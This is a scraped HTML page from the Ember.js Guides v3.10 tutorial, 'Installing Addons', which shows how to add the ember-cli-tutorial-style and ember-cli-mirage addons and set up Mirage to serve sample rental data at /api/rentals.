clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Installing Addons - Tutorial - Ember Guides</title> <meta name="description" content="Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project. To browse addons, visit the Ember Observer website. It catalogs..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Installing Addons - Tutorial - Ember Guides"> <!----> <meta property="og:description" content="Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project. To browse addons, visit the Ember Observer website. It catalogs..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Installing Addons - Tutorial - Ember Guides"> <!----> <meta name="twitter:description" content="Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project. To browse addons, visit the Ember Observer website. It catalogs..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember451744" class="es-header ember-view" role="banner"><div id="ember451745" class="ember-view"><div class="container"> <nav id="ember451746" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember451747" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember451748" class="navbar-collapse collapse ember-view"><ul id="ember451749" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember451750" class="dropdown nav-item ember-view"> <a href="#" id="ember451751" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember451753" class="dropdown nav-item ember-view"> <a href="#" id="ember451754" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember451756" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember451757" class="dropdown nav-item ember-view"> <a href="#" id="ember451758" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember451760" class="dropdown nav-item ember-view"> <a href="#" id="ember451761" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember451763" class="nav navbar-nav ember-view"> <form> <div id="ember451764" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember451765" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember451766" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember451767" class="ember-basic-dropdown ember-view"> <div aria-label="v3.10.0" aria-owns="ember-basic-dropdown-content-ember451767" tabindex="0" data-ebd-id="ember451767-trigger" role="button" id="ember451768" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.10 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember451767" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember451772" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember451775" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/getting-started" id="ember451776" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember451777" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451779" class="cp-Panel cp-is-open ember-view"><a href="/v3.10.0/tutorial" id="ember451780" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember451781" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember451782" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/ember-cli" id="ember451784" class="ember-view"> Creating Your App </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/acceptance-test" id="ember451786" class="ember-view"> Planning Your App </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/routes-and-templates" id="ember451788" class="ember-view"> Routes and Templates </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/model-hook" id="ember451790" class="ember-view"> The Model Hook </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v3.10.0/tutorial/installing-addons" id="ember451792" class="selected ember-view"> Installing Addons </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/simple-component" id="ember451794" class="ember-view"> Building a Simple Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/hbs-helper" id="ember451796" class="ember-view"> Creating a Handlebars Helper </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/ember-data" id="ember451798" class="ember-view"> Using Ember Data </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/autocomplete-component" id="ember451800" class="ember-view"> Building a Complex Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/service" id="ember451802" class="ember-view"> Services </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/subroutes" id="ember451804" class="ember-view"> Adding Nested Routes </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/deploying" id="ember451806" class="ember-view"> Deploying </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451808" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/object-model" id="ember451809" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember451810" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451812" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/templates" id="ember451813" class="cp-Panel-toggle ember-view"> Templating </a> <div id="ember451814" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451816" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/components" id="ember451817" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember451818" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451820" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/controllers" id="ember451821" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember451822" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451824" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/routing" id="ember451825" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember451826" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451828" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/models" id="ember451829" class="cp-Panel-toggle ember-view"> Ember Data </a> <div id="ember451830" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451832" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/addons-and-dependencies" id="ember451833" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember451834" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451836" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/testing" id="ember451837" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember451838" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451840" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/configuring-ember" id="ember451841" class="cp-Panel-toggle ember-view"> Configuration </a> <div id="ember451842" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451844" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/applications" id="ember451845" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember451846" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451848" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/ember-inspector" id="ember451849" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember451850" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451852" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/contributing" id="ember451853" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember451854" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451856" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/glossary" id="ember451857" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember451858" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451860" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/reference" id="ember451861" class="cp-Panel-toggle ember-view"> Reference </a> <div id="ember451862" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember451863" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.10.0. <a href="/release/tutorial/installing-addons" id="ember451864" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.10.0/tutorial/installing-addons.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Installing Addons </h1> <hr> <div id="ember451865" class="ember-view"><p>Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project.</p> <p>To browse addons, visit the <a href="https://emberobserver.com/">Ember Observer</a> website. It catalogs and categorizes Ember addons that have been published to npm and assigns them a score based on a variety of criteria.</p> <p>For Super Rentals, we'll take advantage of two addons: <a href="https://github.com/toddjordan/ember-cli-tutorial-style">ember-cli-tutorial-style</a> and <a href="http://www.ember-cli-mirage.com/">ember-cli-mirage</a>.</p> <h3 id="toc_ember-cli-tutorial-style">ember-cli-tutorial-style</h3> <section aria-labelledby="toc_ember-cli-tutorial-style"> <p>Instead of having you copy/paste in CSS to style Super Rentals, we've created an addon called <a href="https://github.com/ember-learn/ember-cli-tutorial-style">ember-cli-tutorial-style</a> that instantly adds CSS to the tutorial. The addon works by generating a file called <code>ember-tutorial.css</code> and putting that file in the super-rentals <code>vendor</code> directory.</p> <p>The <a href="../../addons-and-dependencies/managing-dependencies/#toc_other-assets"><code>vendor</code> directory</a> in Ember is a special directory where you can include content that gets compiled into your application.</p> <p>As Ember CLI runs, it takes the <code>ember-tutorial</code> CSS file and puts it in a file called <code>vendor.css</code>. The <code>vendor.css</code> file is referenced in <code>app/index.html</code>, making the styles available at runtime.</p> <p>We can make additional style tweaks to <code>vendor/ember-tutorial.css</code>, and the changes will take effect immediately.</p> <p>Run the following command to install the addon:</p> <pre><code class="bash language-bash">ember install ember-cli-tutorial-style </code></pre> <p>Here is the output:</p> <pre><code class="bash language-bash">NPM: Installed ember-cli-tutorial-style installing ember-cli-tutorial-style create public/assets/images/teaching.png create vendor/ember-tutorial.css Installed addon package. </code></pre> <p>Since Ember addons are npm packages, <code>ember install</code> installs them in the <code>node_modules</code> directory, and makes an entry in <code>package.json</code>. Be sure to restart your server after the addon has installed successfully; first, press <code>Ctrl+C</code> to stop the server, then, restart the server by running <code>ember server</code> again. Restarting the server will incorporate the new CSS and refreshing the browser window will give you this:</p> <p><img src="/images/installing-addons/styled-super-rentals-basic.png" alt="super rentals styled homepage" /></p> </section> <h3 id="toc_ember-cli-mirage">ember-cli-mirage</h3> <section aria-labelledby="toc_ember-cli-mirage"> <p><a href="http://www.ember-cli-mirage.com/">Mirage</a> is a client HTTP stubbing library often used for Ember application testing. For the case of this tutorial, we'll use mirage as our source of data rather than a traditional backend server. Mirage will allow us to create fake data to work with while developing our app and mimic an API. The data and endpoints we setup here will come into play later in the tutorial, when we use Ember Data to make server requests.</p> <p>Install the Mirage addon as follows:</p> <pre><code class="bash language-bash">ember install ember-cli-mirage </code></pre> <p>Our primary focus with mirage will be in the <code>config.js</code> file, which is where we can define our API endpoints and our data. We will be following the <a href="http://jsonapi.org/">JSON-API specification</a> which requires our data to be formatted a certain way. Let's configure Mirage to send back our rentals that we had defined above by updating <code>mirage/config.js</code>.</p> <p>Notice that in the first line of the function we set <code>this.namespace</code> to <code>/api</code>. Setting namespace lets mirage know to only provide data for URL requests that start with <code>api</code>. For example, the data we are providing below will be substituted when a request comes in at <code>/api/rentals</code>.</p> <pre><code class="javascript language-javascript"data-filename="mirage/config.js" data-diff="+1,+2,+3,+4,+5,+6,+7,+8,+9,+10,+11,+12,+13,+14,+15,+16,+17,+18,+19,+20,+21,+22,+23,+24,+25,+26,+27,+28,+29,+30,+31,+32,+33,+34,+35,+36,+37,+38,+39,+40,+41,+42,+43,+44,+45,-46,-47,-48,-49,-50,-51,-52,-53,-54,-55,-56,-57,-58,-59,-60,-61,-62,-63,-64,-65,-66,-67,-68,-69,-70">export default function() { this.namespace = '/api'; this.get('/rentals', function() { return { data: [{ type: 'rentals', id: 'grand-old-mansion', attributes: { title: 'Grand Old Mansion', owner: 'Veruca Salt', city: 'San Francisco', category: 'Estate', bedrooms: 15, image: 'https://upload.wikimedia.org/wikipedia/commons/c/cb/Crane_estate_(5).jpg', description: "This grand old mansion sits on over 100 acres of rolling hills and dense redwood forests." } }, { type: 'rentals', id: 'urban-living', attributes: { title: 'Urban Living', owner: 'Mike Teavee', city: 'Seattle', category: 'Condo', bedrooms: 1, image: 'https://upload.wikimedia.org/wikipedia/commons/0/0e/Alfonso_13_Highrise_Tegucigalpa.jpg', description: "A commuters dream. This rental is within walking distance of 2 bus stops and the Metro." } }, { type: 'rentals', id: 'downtown-charm', attributes: { title: 'Downtown Charm', owner: 'Violet Beauregarde', city: 'Portland', category: 'Apartment', bedrooms: 3, image: 'https://upload.wikimedia.org/wikipedia/commons/f/f7/Wheeldon_Apartment_Building_-_Portland_Oregon.jpg', description: "Convenience is at your doorstep with this charming downtown rental. Great restaurants and active night life are within a few feet." } }] }; }); } export default function() { // These comments are here to help you get started. Feel free to delete them. /* Config (with defaults). Note: these only affect routes defined *after* them! */ // this.urlPrefix = ''; // make this `http://localhost:8080`, for example, if your API is on a different server // this.namespace = ''; // make this `/api`, for example, if your API is namespaced // this.timing = 400; // delay for each request, automatically set to 0 during testing /* Shorthand cheatsheet: this.get('/posts'); this.post('/posts'); this.get('/posts/:id'); this.put('/posts/:id'); // or this.patch this.del('/posts/:id'); http://www.ember-cli-mirage.com/docs/v0.3.x/shorthands/ */ } </code></pre> <p>Mirage works by overriding the JavaScript code that makes network requests and instead returns the JSON you specify. We should note that this means you will not see any network requests in your development tools but will instead see the JSON logged in your console. Our update to <code>mirage/config.js</code> configures Mirage so that whenever Ember Data makes a GET request to <code>/api/rentals</code>, Mirage will return this JavaScript object as JSON and no network request is actually made. We also specified a <code>namespace</code> of <code>/api</code> in our mirage configuration. Without this change, navigation to <code>/rentals</code> in our application would conflict with Mirage.</p> <p>In order for this to work, we need our application to default to making requests to the namespace of <code>/api</code>. To do this, we want to generate an application adapter. An <a href="../../models/customizing-adapters/">Adapter</a> is an object that <a href="../../models/">Ember Data</a> uses to determine how we communicate with our backend. We will cover Ember Data in more detail later in this tutorial. For now, let's generate an adapter for our application:</p> <pre><code class="bash language-bash">ember generate adapter application </code></pre> <p>This adapter will extend the <a href="https://api.emberjs.com/ember-data/3.10/classes/DS.JSONAPIAdapter/"><code>JSONAPIAdapter</code></a> base class from Ember Data:</p> <pre><code class="javascript language-javascript"data-filename="app/adapters/application.js" data-diff="+4">import DS from 'ember-data'; export default DS.JSONAPIAdapter.extend({ namespace: 'api' }); </code></pre> <p>If you were running <code>ember serve</code> or <code>ember test --serve</code> in another shell, restart each of those servers to include Mirage in your build.</p> <p>Note that at this point of the tutorial, the data is still provided by the <code>app/routes/rentals.js</code> file. We will make use of the mirage data we set up here in the upcoming section called <a href="../ember-data/">Using Ember Data</a>.</p> </section> </div> <footer id="ember451866" class="ember-view"> <a href="/v3.10.0/tutorial/model-hook" id="ember451867" class="previous-guide ember-view">The Model Hook</a> <a href="/v3.10.0/tutorial/simple-component" id="ember451868" class="next-guide ember-view"> Building a Simple Component </a></footer> </article> </main> <footer id="ember451869" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember451870" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember451871" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 